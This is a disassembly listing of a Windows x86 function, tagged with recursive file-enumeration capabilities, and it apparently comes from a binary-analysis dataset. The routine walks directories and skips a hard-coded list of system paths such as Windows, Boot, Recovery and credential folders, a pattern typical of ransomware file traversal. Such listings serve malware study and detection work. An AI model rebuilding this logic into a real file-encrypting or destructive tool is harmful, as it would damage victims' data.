Function at 0x41b740
Capabilities:
Enumerate files on windows
Enumerate files recursively
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d85e1
mov eax, dword fs:[0]
push eax
sub esp, 0x674
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor esi, esi
xor edi, edi
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x418], edi
mov dword [ebp - 4], edi
push 0x8003
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 2
push 0x4ffbf8
lea ecx, [ebp + 8]
call fcn.004388e0
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 0x35c]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x4b4], eax
cmp eax, 0xffffffff
jne 0x41b85b
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x41b804
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41b7fa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0db
push edx
push ecx
call fcn.0049143c
add esp, 8
mov edx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp edx, 8
jb 0x41e085
mov ecx, dword [ebp + 0x20]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41b84c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0db
push edx
push ecx
call fcn.0049143c
add esp, 8
jmp 0x41e085
mov ecx, dword [ebp + 0x18]
lea eax, [ebp + 8]
dec ecx
mov dword [ebp - 0x30], 0xf
cmp dword [ebp + 0x1c], 8
mov dword [ebp + 0x18], ecx
cmovae eax, dword [ebp + 8]
xor edx, edx
mov dword [ebp - 0x34], edx
mov byte [ebp - 0x44], dl
mov word [eax + ecx*2], dx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], dl
xor eax, eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], 5
lea eax, [ebp - 0x330]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x450]
call fcn.0043a350
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x42c], eax
add esp, 4
cmp ecx, eax
je 0x41b938
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x41b906
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41b8f6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e0
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x42c]
add esp, 8
mov dword [ebp - 0x1c], 0
xor ecx, ecx
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], cx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], 7
mov word [eax], cx
mov edx, dword [ebp - 0x43c]
cmp edx, 8
jb 0x41b978
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41b96e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e0
push edx
push ecx
call fcn.0049143c
add esp, 8
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x680]
call fcn.0043a350
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 6
or esi, 1
cmp dword [0x51fc5c], 8
mov eax, 0x51fc48
push dword [0x51fc58]
cmovae eax, dword [0x51fc48]
push eax
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x42c], esi
call fcn.004388e0
mov dword [ebp - 0x4a0], 0
xor ecx, ecx
mov dword [ebp - 0x49c], 0
or edi, 0x80
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x36
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x4b0]
or esi, 2
push str.Local_SettingsApplication_DataMicrosoftCredentials
mov dword [ebp - 0x420], esi
call fcn.004388e0
xor ecx, ecx
or edi, 0x100
mov dword [ebp - 0x41c], edi
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x668], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x658], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov eax, dword [ebp - 0x42c]
lea ecx, [ebp - 0x668]
mov dword [ebp - 4], 8
or eax, 6
cmp dword [ebp - 0x654], 8
mov esi, dword [ebp - 0x1c]
movd edx, xmm1
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
cmovae ecx, edx
mov dword [ebp - 0x428], edx
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x42c], eax
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [ebp - 0x658]
jne 0x41bafd
test esi, esi
je 0x41bae5
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41bafd
add ecx, 2
sub esi, 1
jne 0x41bab6
mov edx, dword [ebp - 0x4cc]
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x438], edx
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
mov edx, dword [ebp - 0x4cc]
mov dword [ebp - 0x438], edx
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x450]
call fcn.0043a350
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 9
mov eax, 0x51fc48
mov esi, dword [ebp - 0x418]
push dword [0x51fc58]
or esi, 8
cmp dword [0x51fc5c], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [0x51fc48]
push eax
call fcn.004388e0
mov dword [ebp - 0x488], 0
xor ecx, ecx
mov dword [ebp - 0x484], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x498], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x488], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov esi, dword [ebp - 0x42c]
lea ecx, [ebp - 0x498]
mov eax, esi
mov dword [ebp - 4], 0xa
push 0x27
or eax, 0x18
push str.Application_DataMicrosoftCredentials
mov dword [ebp - 0x420], eax
call fcn.004388e0
xor ecx, ecx
or edi, 0x600
mov dword [ebp - 0x41c], edi
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x4cc], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x4bc], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x4cc]
mov eax, esi
movd edx, xmm1
mov esi, dword [ebp - 0x1c]
or eax, 0x38
cmp dword [ebp - 0x4b8], 8
mov dword [ebp - 0x438], edx
cmovae ecx, edx
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x420], eax
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [ebp - 0x4bc]
jne 0x41bc63
test esi, esi
je 0x41c5b8
sub edx, ecx
nop word [eax + eax]
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41bc63
add ecx, 2
sub esi, 1
jne 0x41bc40
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.UsersAll_UsersMicrosoftWindowsCaches
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5bc]
call fcn.0043a350
mov edx, eax
add esp, 4
mov dword [ebp - 0x42c], edx
mov dword [ebp - 4], 0xc
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x40
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41bca7
mov ecx, dword [edx]
mov edi, dword [ebp - 0x42c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41bcf3
test esi, esi
je 0x41c5b8
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41bcf3
add ecx, 2
sub esi, 1
jne 0x41bcd0
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.ProgramData
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x650]
call fcn.0043a350
mov edx, eax
add esp, 4
mov dword [ebp - 0x42c], edx
mov dword [ebp - 4], 0xd
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x80
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41bd39
mov ecx, dword [edx]
mov edi, dword [ebp - 0x42c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41bd85
test esi, esi
je 0x41c5b8
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41bd85
add ecx, 2
sub esi, 1
jne 0x41bd62
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.Recovery
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x638]
call fcn.0043a350
mov edx, eax
add esp, 4
mov dword [ebp - 0x42c], edx
mov dword [ebp - 4], 0xe
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x100
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41bdcb
mov ecx, dword [edx]
mov edi, dword [ebp - 0x42c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41be17
test esi, esi
je 0x41c5b8
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41be17
add ecx, 2
sub esi, 1
jne 0x41bdf4
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.ProgramDataMicrosoft
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x620]
call fcn.0043a350
mov edx, eax
add esp, 4
mov dword [ebp - 0x42c], edx
mov dword [ebp - 4], 0xf
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x200
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41be5d
mov ecx, dword [edx]
mov edi, dword [ebp - 0x42c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41bea9
test esi, esi
je 0x41c5b8
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41bea9
add ecx, 2
sub esi, 1
jne 0x41be86
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.Windows
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x608]
call fcn.0043a350
mov edx, eax
add esp, 4
mov dword [ebp - 0x42c], edx
mov dword [ebp - 4], 0x10
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x400
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x430], eax
jb 0x41bef5
mov ecx, dword [edx]
mov edi, dword [ebp - 0x42c]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41bf43
test esi, esi
je 0x41c5b8
sub edx, ecx
nop
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41bf43
add ecx, 2
sub esi, 1
jne 0x41bf20
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5f0]
call fcn.0043a350
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 0x11
mov eax, 0x51fc48
mov esi, dword [ebp - 0x418]
push dword [0x51fc58]
or esi, 0x800
cmp dword [0x51fc5c], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [0x51fc48]
push eax
call fcn.004388e0
mov dword [ebp - 0x470], 0
xor ecx, ecx
mov dword [ebp - 0x46c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x480], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x470], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov esi, dword [ebp - 0x430]
lea ecx, [ebp - 0x480]
mov eax, esi
mov dword [ebp - 4], 0x12
push 0x28
or eax, 0x1800
push str.Local_SettingsTemporary_Internet_Files
mov dword [ebp - 0x420], eax
call fcn.004388e0
xor ecx, ecx
or edi, 0x1800
mov dword [ebp - 0x41c], edi
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x4e4], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x4d4], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x4e4]
mov eax, esi
movd edx, xmm1
mov esi, dword [ebp - 0x1c]
or eax, 0x3800
cmp dword [ebp - 0x4d0], 8
mov dword [ebp - 0x4e4], edx
cmovae ecx, edx
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x420], eax
cmovae edx, dword [ebp - 0x2c]
mov dword [ebp - 0x430], eax
cmp esi, dword [ebp - 0x4d4]
jne 0x41c0b3
test esi, esi
je 0x41c5b8
sub edx, ecx
nop dword [eax]
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x41c0b3
add ecx, 2
sub esi, 1
jne 0x41c090
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5d8]
call fcn.0043a350
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 0x14
mov eax, 0x51fc48
mov esi, dword [ebp - 0x418]
push dword [0x51fc58]
or esi, 0x4000
cmp dword [0x51fc5c], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [0x51fc48]
push eax
call fcn.004388e0
mov dword [ebp - 0x458], 0
xor ecx, ecx
mov dword [ebp - 0x454], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x468], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x458], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov esi, dword [ebp - 0x430]
lea ecx, [ebp - 0x468]
mov eax, esi
mov dword [ebp - 4], 0x15
push 0xb
or eax, 0xc000
push str.Start_Menu
mov dword [ebp - 0x420], eax
call fcn.004388e0
xor ecx, ecx
or edi, 0x6000
mov dword [ebp - 0x41c], edi
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x4fc], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x4ec], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 4], 0x16
lea ecx, [ebp - 0x4fc]
mov eax, esi
movd edx, xmm1
mov esi, dword [ebp - 0x1c]
or eax, 0x1c000
cmp dword [ebp - 0x4e8], 8
mov dword [ebp - 0x4fc], edx
cmovae ecx, edx
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x420], eax
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [ebp - 0x4ec]
jne 0x41c21a
test esi, esi
je 0x41c5b8
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41c21a
add ecx, 2
sub esi, 1
jne 0x41c1f7
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.Documents_and_SettingsAll_UsersStart_Menu
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x58c]
call fcn.0043a350
mov edx, eax
add esp, 4
mov dword [ebp - 0x430], edx
mov dword [ebp - 4], 0x17
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x20000
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41c260
mov ecx, dword [edx]
mov edi, dword [ebp - 0x430]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41c2b3
test esi, esi
je 0x41c5b8
sub edx, ecx
nop dword [eax]
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41c2b3
add ecx, 2
sub esi, 1
jne 0x41c290
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.WINDOWS
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x574]
call fcn.0043a350
mov edx, eax
add esp, 4
mov dword [ebp - 0x430], edx
mov dword [ebp - 4], 0x18
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x40000
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41c2f9
mov ecx, dword [edx]
mov edi, dword [ebp - 0x430]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41c345
test esi, esi
je 0x41c5b8
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41c345
add ecx, 2
sub esi, 1
jne 0x41c322
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.Boot
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x55c]
call fcn.0043a350
mov edx, eax
add esp, 4
mov dword [ebp - 0x430], edx
mov dword [ebp - 4], 0x19
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x80000
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
jb 0x41c38b
mov ecx, dword [edx]
mov edi, dword [ebp - 0x430]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41c3d7
test esi, esi
je 0x41c5b8
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41c3d7
add ecx, 2
sub esi, 1
jne 0x41c3b4
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.System_Volume_Information
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x544]
call fcn.0043a350
mov edx, eax
add esp, 4
mov dword [ebp - 0x430], edx
mov dword [ebp - 4], 0x1a
mov ecx, edx
mov eax, dword [ebp - 0x418]
or eax, 0x100000
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x434], eax
jb 0x41c423
mov ecx, dword [edx]
mov edi, dword [ebp - 0x430]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41c473
test esi, esi
je 0x41c5b8
sub edx, ecx
nop dword [eax]
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41c473
add ecx, 2
sub esi, 1
jne 0x41c450
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str._skips.txt
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.0043a350
add esp, 4
mov dword [ebp - 0x42c], eax
sub esp, 0x18
mov dword [ebp - 4], 0x1b
mov esi, dword [ebp - 0x418]
lea eax, [ebp - 0x2c]
mov ecx, esp
or esi, 0x200000
mov dword [ebp - 0x420], esi
push eax
call fcn.00431aa0
lea ecx, [ebp - 0x514]
call fcn.00418a30
add esp, 0x18
mov edx, eax
mov esi, dword [ebp - 0x42c]
mov ecx, esi
mov eax, dword [ebp - 0x434]
mov dword [ebp - 4], 0x1c
or eax, 0x600000
mov dword [ebp - 0x418], eax
cmp dword [esi + 0x14], 8
mov dword [ebp - 0x420], eax
jb 0x41c4f4
mov ecx, dword [esi]
cmp dword [edx + 0x14], 8
mov esi, edx
jb 0x41c4fe
mov esi, dword [edx]
mov edi, dword [ebp - 0x42c]
mov edx, dword [edx + 0x10]
cmp edx, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41c543
test edx, edx
je 0x41c5b8
sub esi, ecx
nop dword [eax]
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x41c543
add ecx, 2
sub edx, 1
jne 0x41c520
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
push str.UsersDefault_ntuser.dat
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x52c]
call fcn.0043a350
mov edx, eax
add esp, 4
mov eax, dword [ebp - 0x418]
mov ecx, edx
or eax, 0x800000
mov dword [ebp - 0x434], edx
mov dword [ebp - 0x418], eax
cmp dword [edx + 0x14], 8
jb 0x41c57c
mov ecx, dword [edx]
mov edi, dword [ebp - 0x434]
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
mov edi, dword [ebp - 0x41c]
jne 0x41c5c7
test esi, esi
je 0x41c5b8
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x41c5c1
add ecx, 2
sub esi, 1
jne 0x41c5a1
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 1
jmp 0x41c5ce
mov eax, dword [ebp - 0x418]
mov byte [ebp - 0x421], 0
test eax, 0x800000
je 0x41c643
mov edx, dword [ebp - 0x518]
and eax, 0xff7fffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c626
mov ecx, dword [ebp - 0x52c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c616
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x518], 7
mov word [ebp - 0x52c], cx
mov dword [ebp - 4], 0x1b
test eax, 0x400000
je 0x41c6bf
mov edx, dword [ebp - 0x500]
and eax, 0xffbfffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c6a2
mov ecx, dword [ebp - 0x514]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c692
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x504], 0
mov dword [ebp - 0x500], 7
mov word [ebp - 0x514], cx
mov dword [ebp - 4], 0x1a
test eax, 0x200000
je 0x41c73b
mov edx, dword [ebp - 0x590]
and eax, 0xffdfffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c71e
mov ecx, dword [ebp - 0x5a4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c70e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x594], 0
mov dword [ebp - 0x590], 7
mov word [ebp - 0x5a4], cx
mov dword [ebp - 4], 0x19
test eax, 0x100000
je 0x41c7b7
mov edx, dword [ebp - 0x530]
and eax, 0xffefffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c79a
mov ecx, dword [ebp - 0x544]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c78a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x530], 7
mov word [ebp - 0x544], cx
mov dword [ebp - 4], 0x18
test eax, 0x80000
je 0x41c833
mov edx, dword [ebp - 0x548]
and eax, 0xfff7ffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c816
mov ecx, dword [ebp - 0x55c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c806
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x54c], 0
mov dword [ebp - 0x548], 7
mov word [ebp - 0x55c], cx
mov dword [ebp - 4], 0x17
test eax, 0x40000
je 0x41c8af
mov edx, dword [ebp - 0x560]
and eax, 0xfffbffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c892
mov ecx, dword [ebp - 0x574]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c882
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x564], 0
mov dword [ebp - 0x560], 7
mov word [ebp - 0x574], cx
mov dword [ebp - 4], 0x16
test eax, 0x20000
je 0x41c92b
mov edx, dword [ebp - 0x578]
and eax, 0xfffdffff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c90e
mov ecx, dword [ebp - 0x58c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c8fe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x57c], 0
mov dword [ebp - 0x578], 7
mov word [ebp - 0x58c], cx
mov dword [ebp - 4], 0x15
test eax, 0x10000
je 0x41c98a
mov ecx, dword [ebp - 0x4e8]
and eax, 0xfffeffff
mov dword [ebp - 0x418], eax
cmp ecx, 8
jb 0x41c98a
mov edx, dword [ebp - 0x4fc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c97a
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push ecx
push edx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
mov dword [ebp - 4], 0x14
test eax, 0x8000
je 0x41ca06
mov edx, dword [ebp - 0x454]
and eax, 0xffff7fff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c9e9
mov ecx, dword [ebp - 0x468]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c9d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x458], 0
